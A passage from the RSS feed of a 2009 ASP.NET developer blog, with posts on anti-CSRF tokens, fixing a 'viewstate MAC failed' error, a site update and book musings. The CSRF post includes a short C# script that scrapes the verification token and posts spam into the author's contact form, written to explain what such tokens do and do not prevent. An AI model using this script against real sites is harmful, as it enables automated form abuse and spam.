  &lt;input name="fromName" type="text" value="Johnathon Fink" /&gt;
  &lt;input name="fromAddress" type="text" value="prancesw@rmcres.com" /&gt;
  &lt;input name="subject" type="text" value="Call for your diploma now" /&gt;
  &lt;textarea name="body"&gt;Is your lack of a degree...&lt;/textarea&gt;
  ...
&lt;/form&gt;</pre>
<p><em>Again, note that the form action contains a reference to my site (even though it is hosted on another site). </em></p>
<p>Now, imagine this was a form prompting a user for their username and password. These credentials could be maliciously stored while the user successfully authenticates and is then redirected to the site they thought they were visiting - the way <a href="http://en.wikipedia.org/wiki/Phishing">phishing</a> usually works.</p>
<p>After adding an Anti CRSF Token to my contact form, a Spammer can't access my form remotely (at least not without the token). My contact form with it's Anti CRSF Token:</p>
<pre>&lt;form action="/contact/send" method="post" name="contact"&gt;
  &lt;input name="<strong>__RequestVerificationToken</strong>" type="hidden" value="0sAqY1ZKb+Qia4..." /&gt;
  &lt;input name="fromName" ...</pre>
<p><em>Note the presence of the RequestVerificationToken.</em></p>
<p>Said Spammer, can't abuse my form without including the unique token. Technically speaking the Spammer can still abuse my form, but he now needs to:</p>
<ul>
<li>Request (GET) <a href="http://adam.kahtava.com/contact">my contact form</a></li>
<li>Parse out the Anti CRSF Token</li>
<li>POST their spam into <a href="http://adam.kahtava.com/contact/send">my contact form</a> along with the token</li>
</ul>
<p>This is pretty easy to do if you have an implementation of a HTTP Client library that supports cookies.</p>
<p><strong>How to hack an Anti CRSF Token protected form</strong></p>
<p>Using an extended instance of .NETs Web Client here's how our Spammer could circumvent my Anti CRSF Token.</p>
<p>The Spamming script by that wascaly Spammer:</p>
<pre><strong>// create a new HTTP Web Client that supports cookies</strong>
var webClient = new <a href="http://code.google.com/p/adamdotcom-services/source/browse/trunk/AdamDotCom.Common.Service/Source/Common/Utilities/WebClientWithCookies.cs">WebClientWithCookies</a>();

<strong>//download my contact page containing the Anti CRSF Token</strong>
webClient = webClient.DownloadData("http://adam.kahtava.com/contact");

<strong>//parse out the Anti CRSF Token</strong>
var antiCrsfToken = <a href="http://code.google.com/p/adamdotcom-services/source/browse/trunk/AdamDotCom.Common.Service/Source/Common/Utilities/Utilities.cs">RegexUtilities</a>.GetTokenString(
                      new Regex("__RequestVerificationToken=(?&lt;CRSF_Token&gt;[^;]+)")
                      .Match(webClient.ResponseHeaders["Set-Cookie"]), "CRSF_Token");

<strong>//now the Spammer can drown me in spam-spam-spam
// by scraping my Anti CRSF Token and posting it into my form</strong>
webClient.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
byte[] response = webClient.UploadData("http://adam.kahtava.com/contact/send", "POST",
                            Encoding.UTF8.GetBytes(
                              "<strong>__RequestVerificationToken</strong>=" + antiCrsfToken +
                              "&amp;fromName=\"Johnathon Fink\"" +
                              "&amp;fromAddress=\"prancesw@rmcres.com\"" +
                              "&amp;subject=\"Call for your diploma now\"" +
                              "&amp;body=\"Is your lack of a degree...\""));</pre>
<p>The Spammer is back at their old tricks sending me more Spam. ARGH!</p>
<p><strong>What's the use of an Anti CRSF Token?</strong></p>
<p>Anti CRSF Tokens help prevent phishing attacks. They aren't meant to prevent spammers or Dr Robotnik and his robots (or web scrapers) from running automated scripts against your web application. Keep in mind, that if your site suffers from other <a href="http://en.wikipedia.org/wiki/Cross-site_scripting">XSS</a> vulnerabilities (where the privacy of your cookies or sessions are compromised) then Anti CRSF Tokens don't work at all.</p>
<p>Read more about how Anti CRSF Tokens work here: <a href="http://blog.codeville.net/2008/09/01/prevent-cross-site-request-forgery-csrf-using-aspnet-mvcs-antiforgerytoken-helper/">Prevent Cross-Site Request Forgery (CSRF) using ASP.NET MVC’s AntiForgeryToken() helper</a> or learn more about Cross-Site Request Forgery at: <a href="http://www.cgisecurity.com/csrf-faq.html">The Cross-Site Request Forgery (CSRF/XSRF) FAQ</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=SO-pUQMQZPg:tzFS4zZL7YQ:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=SO-pUQMQZPg:tzFS4zZL7YQ:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=SO-pUQMQZPg:tzFS4zZL7YQ:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=SO-pUQMQZPg:tzFS4zZL7YQ:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=SO-pUQMQZPg:tzFS4zZL7YQ:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=SO-pUQMQZPg:tzFS4zZL7YQ:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=SO-pUQMQZPg:tzFS4zZL7YQ:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=SO-pUQMQZPg:tzFS4zZL7YQ:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/SO-pUQMQZPg" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/11/25/what-are-anti-cross-site-request-forgery-tokens-and-what-are-they-good-for/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/11/25/what-are-anti-cross-site-request-forgery-tokens-and-what-are-they-good-for/</feedburner:origLink></item>
		<item>
		<title>How To Fix the: “Validation of viewstate MAC failed” Error (ASP.NET MVC)</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/Htz5O1XPvsQ/</link>
		<comments>http://adam.kahtava.com/journal/2009/11/23/how-to-fix-the-validation-of-viewstate-mac-failed-error-aspnet-mvc/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 17:00:26 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2011</guid>
		<description><![CDATA[I run my site on a Windows Shared Hosting account, and every time I updated the assemblies on my ASP.NET MVC site I'd be presented with the "Validation of viewstate MAC failed" error. The "Validation of viewstate MAC failed" error only occurred when a page contained an HTML form element that made use of MVC's AntiForgeryToken. The quick fix was [...]]]></description>
			<content:encoded><![CDATA[<p>I run my site on a Windows Shared Hosting account, and every time I updated the assemblies on my ASP.NET MVC site I'd be presented with the <em>"Validation of viewstate MAC failed"</em> error.</p>
<p>The <em>"Validation of viewstate MAC failed"</em> error only occurred when a page contained an HTML form element that made use of MVC's <a href="http://msdn.microsoft.com/en-us/library/dd492767.aspx">AntiForgeryToken</a>. The quick fix was to delete my <code>__RequestVerificationToken</code> cookie, but the error would rear its ugly head the minute I touched my assemblies. The <strong>long term solution</strong> was to add a <a href="http://msdn.microsoft.com/en-us/library/w8h3skw9.aspx">machineKey element</a> to my Web.config file - asking visitors to delete a specific cookies when visiting my site was not a viable option.</p>
<p><strong>How I fixed the </strong><em><strong>"Validation of viewstate MAC failed"</strong></em><strong> error on Shared Hosting:</strong></p>
<ol>
<li>I used the <a href="http://aspnetresources.com/tools/keycreator.aspx">&lt;machineKey&gt; Generator Tool</a> to generate a machine key</li>
<li>I added the machineKey element to my Web.config file</li>
</ol>
<p>My Web.config now looks similar to this:</p>
<pre>&lt;?xml version="1.0"?&gt;
&lt;configuration&gt;
  &lt;system.web&gt;
    &lt;machineKey validationKey="..." decryptionKey="..." validation="SHA1" /&gt;</pre>
<p>Anyhow, I hope this post helps anyone else that's encountering this error.</p>
<p>Oh wait, here's the error in its entirety for The Google Machine's crawlers:</p>
<blockquote><p><code>Server Error in '/' Application.</code></p>
<p><code>Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that  configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.</code></p>
<p><code>Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.</code></p>
<p><code> </code><code>Exception Details: System.Web.HttpException: Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that  configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.</code></p></blockquote>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Htz5O1XPvsQ:lqZFZuJKW3U:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Htz5O1XPvsQ:lqZFZuJKW3U:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=Htz5O1XPvsQ:lqZFZuJKW3U:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Htz5O1XPvsQ:lqZFZuJKW3U:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=Htz5O1XPvsQ:lqZFZuJKW3U:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Htz5O1XPvsQ:lqZFZuJKW3U:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=Htz5O1XPvsQ:lqZFZuJKW3U:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Htz5O1XPvsQ:lqZFZuJKW3U:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/Htz5O1XPvsQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/11/23/how-to-fix-the-validation-of-viewstate-mac-failed-error-aspnet-mvc/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/11/23/how-to-fix-the-validation-of-viewstate-mac-failed-error-aspnet-mvc/</feedburner:origLink></item>
		<item>
		<title>Site Update: New Resume, Contact, Reviews, and Reading Lists Sections</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/5jRuwI7fXC0/</link>
		<comments>http://adam.kahtava.com/journal/2009/11/08/site-update-new-resume-contact-reviews-and-reading-lists-sections/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 17:00:37 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[ADC Services]]></category>
		<category><![CDATA[ADC Website]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[Amazon]]></category>
		<category><![CDATA[Open Source]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1974</guid>
		<description><![CDATA[This site now sports a Resume, Contact Me, Reviews, and Reading Lists section. If you're reading this from an RSS feed, then the changes looks like this: These new sections make use of the services I created earlier - my resume content is pulled directly from LinkedIn via my Resume service, the Reading Lists and Reviews are being pulled [...]]]></description>
			<content:encoded><![CDATA[<p>This site now sports a <a href="http://adam.kahtava.com/resume/curriculum-vitae/software-developer/">Resume</a>, <a href="http://adam.kahtava.com/contact-me/">Contact Me</a>, <a href="http://adam.kahtava.com/book-reviews/">Reviews</a>, and <a href="http://adam.kahtava.com/reading-lists/recommended-and-wishlist/">Reading Lists</a> section.</p>
<p>If you're reading this from an RSS feed, then the changes looks like this:</p>
<p style="padding-left: 30px;"><img src="http://adam.kahtava.com/journal/images/blog/adamdotcom-navigation-update.png" alt="Navigation changes on my site" width="429" height="112" /></p>
<p>These new sections make use of the services I created earlier - my resume content is pulled directly from LinkedIn via my <a href="http://adam.kahtava.com/journal/2009/09/24/introducing-my-linkedin-resume-service-view-your-resume/">Resume service</a>, the Reading Lists and Reviews are being pulled from Amazon via my <a href="http://adam.kahtava.com/journal/2009/09/15/introducing-my-amazon-web-service-find-your-profile-view-your-wishlist-or-reviews/">Amazon service</a>, and I'm still working on a personalized greeting module which will make use of my <a href="http://adam.kahtava.com/journal/2009/09/30/introducing-my-whois-service-customize-your-site-content-based-on-referrals-location-and-more/">Whois service</a>.</p>
<p>Now, when I update my resume on LinkedIn, add a new item to my Amazon wishlist, or write a new Review on Amazon the content is updated within this site and indexed by the Google.</p>
<p>It took longer than expected to get these new pages up and running - mostly due to a couple false starts. You see, I'm running this site on Windows shared hosting which unfortunately doesn't give me many options - sure, sure, I could purchase another hosting account, but developers are like freak'n MAcGyver we like working within ridiculous constraints. It's all about the challenge! Anyways, I first tried using Ruby on Rails on shared hosting (fail), then tried using PHP on Trax (fail), and finally reverted to ASP.NET MVC. While ASP.NET MVC is heads and tails more fun than Web Forms / Classic ASP.NET, the impedance mismatch between strongly typed objects and web languages (JavaScript, CSS, XHTML) is still annoying. Thankfully the <a href="http://github.com/mvccontrib/MvcContrib">MVC Contrib</a> project solves some of these pains, however it can't solve them all.</p>
<p>My next steps with this site are to: finish the greeting module, update the layout (drop the WordPress theme), and finish a Github / Google Code repo widget (kind of like this <a href="http://drnicwilliams.com/2008/05/03/github-badge-for-your-blog/">one</a>) for the sidebar.</p>
<p>Contribute, view, or download the openly available source code <a href="http://code.google.com/p/adamdotcom-website/source/browse/trunk/#trunk/Source/Website">here</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=5jRuwI7fXC0:kNHet2JOWcg:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=5jRuwI7fXC0:kNHet2JOWcg:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=5jRuwI7fXC0:kNHet2JOWcg:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=5jRuwI7fXC0:kNHet2JOWcg:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=5jRuwI7fXC0:kNHet2JOWcg:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=5jRuwI7fXC0:kNHet2JOWcg:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=5jRuwI7fXC0:kNHet2JOWcg:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=5jRuwI7fXC0:kNHet2JOWcg:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/5jRuwI7fXC0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/11/08/site-update-new-resume-contact-reviews-and-reading-lists-sections/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/11/08/site-update-new-resume-contact-reviews-and-reading-lists-sections/</feedburner:origLink></item>
		<item>
		<title>Book Reviewed: Pragmatic Thinking and Learning: Refactor Your Wetware</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/dyIpdpzwPvc/</link>
		<comments>http://adam.kahtava.com/journal/2009/10/26/book-reviewed-pragmatic-thinking-and-learning-refactor-your-wetware/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 16:00:44 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Review]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1961</guid>
		<description><![CDATA[Andy Hunt's Pragmatic Thinking and Learning is fun and interesting, but the topics within often leaned on the obvious. The central theme throughout Pragmatic Thinking and Learning revolves around harnessing brain modes (linear mode and rich mode), self improvement, and the Dreyfus Model - a model, where skills are ranked by five stages (Novice, Advanced [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.amazon.com/Pragmatic-Thinking-Learning-Refactor-Programmers/dp/1934356050/"><img style="float: right;" src="http://images.amazon.com/images/P/1934356050.01._SCMZZZZZZZ_.jpg" alt="Pragmatic Thinking and Learning" /></a>Andy Hunt's <a href="http://www.amazon.com/Pragmatic-Thinking-Learning-Refactor-Programmers/dp/1934356050/">Pragmatic Thinking and Learning</a> is fun and interesting, but the topics within often leaned on the obvious. The central theme throughout Pragmatic Thinking and Learning revolves around harnessing brain modes (linear mode and rich mode), self improvement, and the <a href="http://en.wikipedia.org/wiki/Dreyfus_model_of_skill_acquisition">Dreyfus Model</a> - a model, where skills are ranked by five stages (Novice, Advanced Beginner, Competent, Proficient, and Expert). Throughout the text Andy works through the stages of the Dreyfus Model within the context of the software realm. He offers advice on how we can progress as developers, and discusses learning techniques that have worked for him.</p>
<p>Andy offers many interesting tips, stories, and draws in external research. For example, <strong>did you know, that research suggests that: <em>"if you constantly interrupt your task to check email [Twitter, Facebook] or respond to an IM text message, your effective IQ drops by ten points"</em></strong> or <em>"the leading predictor of a tendency for road rage was the amount of personalization on a vehicle"</em>?</p>
<p>However, I felt that many of the concepts discussed have become common knowledge (part of popular developer culture) and were somewhat obvious. To borrow from the Dreyfus Model; this book is probably best suited for Novices or Advanced Beginner. It's also fair to mention that I thought Andy's other book <a href="http://www.amazon.com/Pragmatic-Programmer-Journeyman-Master/dp/020161622X/">The Pragmatic Programmer</a> suffered this same problem, but also keep in mind that <em>"the obvious ... is never seen until someone expresses it simply</em>" (Kahlil Gibran). In the end, I do recommend this book. It's a fun read, excellent for those who are new to the software industry. It would make a great addition to College / University programs.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=dyIpdpzwPvc:PZVHHoEQMmw:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=dyIpdpzwPvc:PZVHHoEQMmw:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=dyIpdpzwPvc:PZVHHoEQMmw:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=dyIpdpzwPvc:PZVHHoEQMmw:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=dyIpdpzwPvc:PZVHHoEQMmw:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=dyIpdpzwPvc:PZVHHoEQMmw:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=dyIpdpzwPvc:PZVHHoEQMmw:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=dyIpdpzwPvc:PZVHHoEQMmw:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/dyIpdpzwPvc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/10/26/book-reviewed-pragmatic-thinking-and-learning-refactor-your-wetware/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/10/26/book-reviewed-pragmatic-thinking-and-learning-refactor-your-wetware/</feedburner:origLink></item>
		<item>
		<title>The Dreyfus Model: Developer Events and Skill Categories</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/19DuPtjjaX0/</link>
		<comments>http://adam.kahtava.com/journal/2009/10/08/the-dreyfus-model-developer-events-and-skill-categories/#comments</comments>
		<pubDate>Thu, 08 Oct 2009 16:00:44 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1919</guid>
		<description><![CDATA[I found the Dreyfus Model of Skill Acquisition neat. It's a central theme throughout Pragmatic Thinking and Learning by Andy Hunt. Here's how Wikipedia describes the Dreyfus Model: The Dreyfus Model of Skill Acquisition postulates that when individuals acquire a skill through external instruction, they normally pass through five stages. ... the five stages of [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><a href="http://www.flickr.com/photos/ijerf/418172181/"><img src="http://farm1.static.flickr.com/187/418172181_ecdc0fd3b0_m.jpg" alt="" /></a></div>
<p>I found the <a href="http://en.wikipedia.org/wiki/Dreyfus_model_of_skill_acquisition">Dreyfus Model of Skill Acquisition</a> neat. It's a central theme throughout <a href="http://www.amazon.com/Pragmatic-Thinking-Learning-Refactor-Programmers/dp/1934356050">Pragmatic Thinking and Learning</a> by Andy Hunt.</p>
<p>Here's how Wikipedia describes the Dreyfus Model:</p>
<blockquote><p>The Dreyfus Model of Skill Acquisition postulates that when individuals acquire a skill through external instruction, they normally pass through five stages. ... <strong>the five stages of skill acquisition are: Novice, Advanced beginner, Competent, Proficient and Expert</strong> - <a href="http://en.wikipedia.org/wiki/Dreyfus_model_of_skill_acquisition">Dreyfus model of skill acquisition</a></p></blockquote>
<p>We have different skills and are at different stages simultaneously in each skill - for example, someone might be an Expert at underwater basket weaving and a Novice at cooking. As we cultivate our experience we progress through these stages.</p>
<p>The categories (again, from Wikipedia) are as follows:</p>
<ol>
<li><strong>Novice</strong>
<ul>
<li>rigid adherence to rules</li>
</ul>
<ul>
<li>no discretional judgment</li>
</ul>
</li>
<li><strong>Advanced beginner</strong>
<ul>
<li>situational perception still limited</li>
</ul>
<ul>
<li>all aspects of work are treated separately and given equal importance</li>
</ul>
</li>
<li><strong>Competent</strong>
<ul>
<li>coping with crowdedness (multiple activity, information)</li>
</ul>
<ul>
<li>now partially sees action as part of longer term goals</li>
</ul>
<ul>
<li>conscious , deliberate planning</li>
</ul>
</li>
<li><strong>Proficient</strong>
<ul>
<li>holistic view of situation, rather than in terms of aspects</li>
</ul>
<ul>
<li>sees what is most important in a situation</li>
</ul>
<ul>
<li>uses maxims for guidance, meaning of maxims may vary according to situation</li>
</ul>
</li>
<li><strong>Expert</strong>
<ul>
<li>no longer reliant on rules, guidelines, maxims</li>
</ul>
<ul>
<li>intuitive grasp of situation, based on tacit knowledge</li>
</ul>
<ul>
<li>vision of what is possible</li>
</ul>
</li>
</ol>
<p>Presented with these categories we can draw some parallels with the software realm. Like say, create a list of events that you'd most likely find these different categories of software developers hanging out.</p>
<p><strong>Developer Event Attendance and Developer Skill Categories:</strong></p>
<ol>
<li><strong>Vendor or Technology Specific: User Groups / Code Camps / Corporate Training / Evangelistic Events</strong>
<ul>
<li>Many Novices</li>
<li>Many Advanced beginners</li>
<li>A small number of Competents that are transitioning to Proficients</li>
<li>Proficients and Experts might be leading the group or may have been mandated to go by their organization</li>
</ul>
</li>
<li><strong>Open Book Clubs / Non Specific Technology Meetings / Non Specific Bar Camp Type Events </strong>
<ul>
<li>Mostly Competents, Proficients, and Experts</li>
</ul>
</li>
</ol>
<p>Of course, this is just my opinion. I've noticed that my attendance to the events listed above continually shift. Initially I thought I was becoming a curmudgeon, but instead I shifted a couple Dreyfus categories.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=19DuPtjjaX0:mQWfVJ1Q_l4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=19DuPtjjaX0:mQWfVJ1Q_l4:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=19DuPtjjaX0:mQWfVJ1Q_l4:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=19DuPtjjaX0:mQWfVJ1Q_l4:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=19DuPtjjaX0:mQWfVJ1Q_l4:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=19DuPtjjaX0:mQWfVJ1Q_l4:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=19DuPtjjaX0:mQWfVJ1Q_l4:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=19DuPtjjaX0:mQWfVJ1Q_l4:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/19DuPtjjaX0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/10/08/the-dreyfus-model-developer-events-and-skill-categories/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/10/08/the-dreyfus-model-developer-events-and-skill-categories/</feedburner:origLink></item>
		<item>
		<title>The Sheep Dip: Developer Boot Camps, Training Events, and Evangelism</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/G3rL7auZ7uM/</link>
		<comments>http://adam.kahtava.com/journal/2009/10/05/the-sheep-dip-developer-boot-camps-training-events-and-evangelism/#comments</comments>
		<pubDate>Mon, 05 Oct 2009 16:00:17 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Book]]></category>
		<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1933</guid>
		<description><![CDATA[I found Andy Hunt's description of Sheep Dip Training funny: A sheep dip is a large tank in which you dunk the unsuspecting sheep to clean them up and rid them of parasites. The sheep line up; you grab one and dunk it in the tank ... It wears off, of course, so you have to [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><a href="http://www.flickr.com/photos/44124284912@N01/909704031/"><img src="http://farm2.static.flickr.com/1143/909704031_007e8011d9_m.jpg" alt="" /></a></div>
<p>I found Andy Hunt's description of Sheep Dip Training funny:</p>
<blockquote><p><a href="http://en.wikipedia.org/wiki/Sheep_dip">A sheep dip</a> is a large tank in which you dunk the unsuspecting sheep to clean them up and rid them of parasites. The sheep line up; you grab one and dunk it in the tank ... It wears off, of course, so you have to dip them again.</p>
<p>Sheep dip training follows the same model. <strong>You lineup unsuspecting employees, dunk them in an intensive, three-to-five day event ... and proclaim them to be Java developers, .NET developers, or what have you. It wears off, of course, so next year you need to have a "refresher" course - another dip.</strong></p>
<p>Companies love standardized "sheep dip" training ... There's only one drawback. <strong>This naive approach doesn't work</strong> ... - <a href="http://www.amazon.com/Pragmatic-Thinking-Learning-Refactor-Programmers/dp/1934356050">Pragmatic Thinking and Learning</a> by Andy Hunt</p></blockquote>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=G3rL7auZ7uM:-9XaptJzFLA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=G3rL7auZ7uM:-9XaptJzFLA:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=G3rL7auZ7uM:-9XaptJzFLA:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=G3rL7auZ7uM:-9XaptJzFLA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=G3rL7auZ7uM:-9XaptJzFLA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=G3rL7auZ7uM:-9XaptJzFLA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=G3rL7auZ7uM:-9XaptJzFLA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=G3rL7auZ7uM:-9XaptJzFLA:qj6IDK7rITs"><img 